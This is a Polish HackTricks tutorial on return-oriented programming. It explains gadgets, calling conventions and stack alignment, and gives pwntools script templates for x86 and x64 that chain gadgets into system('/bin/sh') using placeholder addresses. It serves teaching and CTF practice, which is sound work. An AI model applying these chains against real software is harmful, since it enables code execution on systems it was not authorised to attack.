ROP - Programowanie Zorientowane na Zwracanie
Reading time: 8 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Podstawowe Informacje
Programowanie Zorientowane na Zwracanie (ROP) to zaawansowana technika eksploatacji używana do obejścia zabezpieczeń takich jak No-Execute (NX) lub Data Execution Prevention (DEP). Zamiast wstrzykiwać i wykonywać shellcode, atakujący wykorzystuje fragmenty kodu już obecne w binarnym pliku lub załadowanych bibliotekach, znane jako "gadżety". Każdy gadżet zazwyczaj kończy się instrukcją ret
i wykonuje małą operację, taką jak przenoszenie danych między rejestrami lub wykonywanie operacji arytmetycznych. Łącząc te gadżety, atakujący może skonstruować ładunek do wykonywania dowolnych operacji, skutecznie omijając zabezpieczenia NX/DEP.
Jak działa ROP
- Przechwytywanie Przepływu Kontroli: Najpierw atakujący musi przechwycić przepływ kontroli programu, zazwyczaj wykorzystując przepełnienie bufora do nadpisania zapisanej adresu powrotu na stosie.
- Łączenie Gadżetów: Atakujący następnie starannie wybiera i łączy gadżety, aby wykonać pożądane działania. Może to obejmować przygotowanie argumentów do wywołania funkcji, wywołanie funkcji (np.
system("/bin/sh")
) oraz obsługę wszelkich niezbędnych czynności porządkowych lub dodatkowych operacji. - Wykonanie Ładunku: Gdy wrażliwa funkcja zwraca, zamiast wracać do legalnej lokalizacji, zaczyna wykonywać łańcuch gadżetów.
Narzędzia
Zazwyczaj gadżety można znaleźć za pomocą ROPgadget, ropper lub bezpośrednio z pwntools (ROP).
Przykład Łańcucha ROP w x86
x86 (32-bit) Konwencje Wywołań
- cdecl: Wywołujący czyści stos. Argumenty funkcji są umieszczane na stosie w odwrotnej kolejności (od prawej do lewej). Argumenty są umieszczane na stosie od prawej do lewej.
- stdcall: Podobnie jak cdecl, ale wywoływana funkcja jest odpowiedzialna za czyszczenie stosu.
Znajdowanie Gadżetów
Najpierw załóżmy, że zidentyfikowaliśmy niezbędne gadżety w binarnym pliku lub jego załadowanych bibliotekach. Gadżety, którymi jesteśmy zainteresowani, to:
pop eax; ret
: Ten gadżet przenosi górną wartość stosu do rejestruEAX
, a następnie zwraca, co pozwala nam kontrolowaćEAX
.pop ebx; ret
: Podobnie jak powyżej, ale dla rejestruEBX
, umożliwiając kontrolę nadEBX
.mov [ebx], eax; ret
: Przenosi wartość wEAX
do lokalizacji pamięci wskazywanej przezEBX
, a następnie zwraca. Często nazywane jest to gadżetem write-what-where.- Dodatkowo mamy dostęp do adresu funkcji
system()
.
Łańcuch ROP
Używając pwntools, przygotowujemy stos do wykonania łańcucha ROP w następujący sposób, mając na celu wykonanie system('/bin/sh')
, zwróć uwagę, jak łańcuch zaczyna się od:
- Instrukcji
ret
w celach wyrównania (opcjonalnie) - Adresu funkcji
system
(zakładając, że ASLR jest wyłączone i znana jest libc, więcej informacji w Ret2lib) - Miejsca na adres powrotu z
system()
- Adresu ciągu
"/bin/sh"
(parametr dla funkcji system)
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de
# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
# Construct the ROP chain
rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
]
# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
ROP Chain w przykładzie x64
x64 (64-bit) konwencje wywołań
- Używa konwencji wywołań System V AMD64 ABI w systemach podobnych do Uniksa, gdzie pierwsze sześć argumentów całkowitych lub wskaźnikowych jest przekazywanych w rejestrach
RDI
,RSI
,RDX
,RCX
,R8
iR9
. Dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana wRAX
. - Konwencja wywołań Windows x64 używa
RCX
,RDX
,R8
iR9
dla pierwszych czterech argumentów całkowitych lub wskaźnikowych, a dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana wRAX
. - Rejestry: Rejestry 64-bitowe obejmują
RAX
,RBX
,RCX
,RDX
,RSI
,RDI
,RBP
,RSP
orazR8
doR15
.
Znajdowanie gadżetów
Dla naszych potrzeb skupmy się na gadżetach, które pozwolą nam ustawić rejestr RDI (aby przekazać ciąg "/bin/sh" jako argument do system()) i następnie wywołać funkcję system(). Zakładamy, że zidentyfikowaliśmy następujące gadżety:
- pop rdi; ret: Przenosi górną wartość stosu do RDI i następnie zwraca. Niezbędne do ustawienia naszego argumentu dla system().
- ret: Proste wywołanie zwrotne, przydatne do wyrównania stosu w niektórych scenariuszach.
I znamy adres funkcji system().
ROP Chain
Poniżej znajduje się przykład użycia pwntools do skonfigurowania i wykonania łańcucha ROP mającego na celu wykonanie system('/bin/sh') na x64:
from pwn import *
# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)
# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef
# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain
rop_chain = [
ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here.
]
# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)
# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()
W tym przykładzie:
- Wykorzystujemy gadżet
pop rdi; ret
, aby ustawićRDI
na adres"/bin/sh"
. - Bezpośrednio skaczemy do
system()
po ustawieniuRDI
, z adresem system() w łańcuchu. ret_gadget
jest używany do wyrównania, jeśli docelowe środowisko tego wymaga, co jest bardziej powszechne w x64, aby zapewnić prawidłowe wyrównanie stosu przed wywołaniem funkcji.
Wyrównanie Stosu
ABI x86-64 zapewnia, że stos jest wyrównany do 16 bajtów, gdy wykonywana jest instrukcja call. LIBC, aby zoptymalizować wydajność, używa instrukcji SSE (takich jak movaps), które wymagają tego wyrównania. Jeśli stos nie jest prawidłowo wyrównany (co oznacza, że RSP nie jest wielokrotnością 16), wywołania funkcji takich jak system zakończą się niepowodzeniem w łańcuchu ROP. Aby to naprawić, wystarczy dodać gadżet ret przed wywołaniem system w swoim łańcuchu ROP.
Główna różnica między x86 a x64
tip
Ponieważ x64 używa rejestrów dla pierwszych kilku argumentów, często wymaga mniej gadżetów niż x86 do prostych wywołań funkcji, ale znalezienie i połączenie odpowiednich gadżetów może być bardziej skomplikowane z powodu zwiększonej liczby rejestrów i większej przestrzeni adresowej. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze x64 stwarzają zarówno możliwości, jak i wyzwania dla rozwoju exploitów, szczególnie w kontekście Programowania Opartego na Powrocie (ROP).
Przykład łańcucha ROP w ARM64
Podstawy ARM64 i konwencje wywołań
Sprawdź następującą stronę w celu uzyskania tych informacji:
{{#ref}} ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}}
Ochrony przed ROP
- ASLR & PIE: Te zabezpieczenia utrudniają użycie ROP, ponieważ adresy gadżetów zmieniają się między wykonaniami.
- Stack Canaries: W przypadku BOF, konieczne jest ominięcie przechowywanych kanarków stosu, aby nadpisać wskaźniki powrotu i wykorzystać łańcuch ROP.
- Brak Gadżetów: Jeśli nie ma wystarczającej liczby gadżetów, nie będzie możliwe wygenerowanie łańcucha ROP.
Techniki oparte na ROP
Zauważ, że ROP to tylko technika mająca na celu wykonanie dowolnego kodu. Na podstawie ROP opracowano wiele technik Ret2XXX:
- Ret2lib: Użyj ROP, aby wywołać dowolne funkcje z załadowanej biblioteki z dowolnymi parametrami (zwykle coś w stylu
system('/bin/sh')
.
{{#ref}} ret2lib/ {{#endref}}
- Ret2Syscall: Użyj ROP, aby przygotować wywołanie do syscall, np.
execve
, i wykonać dowolne polecenia.
{{#ref}} rop-syscall-execv/ {{#endref}}
- EBP2Ret & EBP Chaining: Pierwsza technika wykorzysta EBP zamiast EIP do kontrolowania przepływu, a druga jest podobna do Ret2lib, ale w tym przypadku przepływ jest kontrolowany głównie za pomocą adresów EBP (chociaż również konieczne jest kontrolowanie EIP).
{{#ref}} ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md {{#endref}}
Inne Przykłady i Odniesienia
- https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions
- https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html
- 64 bity, Pie i nx włączone, brak kanarka, nadpisanie RIP adresem
vsyscall
w celu powrotu do następnego adresu na stosie, który będzie częściowym nadpisaniem adresu, aby uzyskać część funkcji, która wycieka flagę - https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, brak ASLR, gadżet ROP do uczynienia stosu wykonywalnym i skoku do shellcode w stosie
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.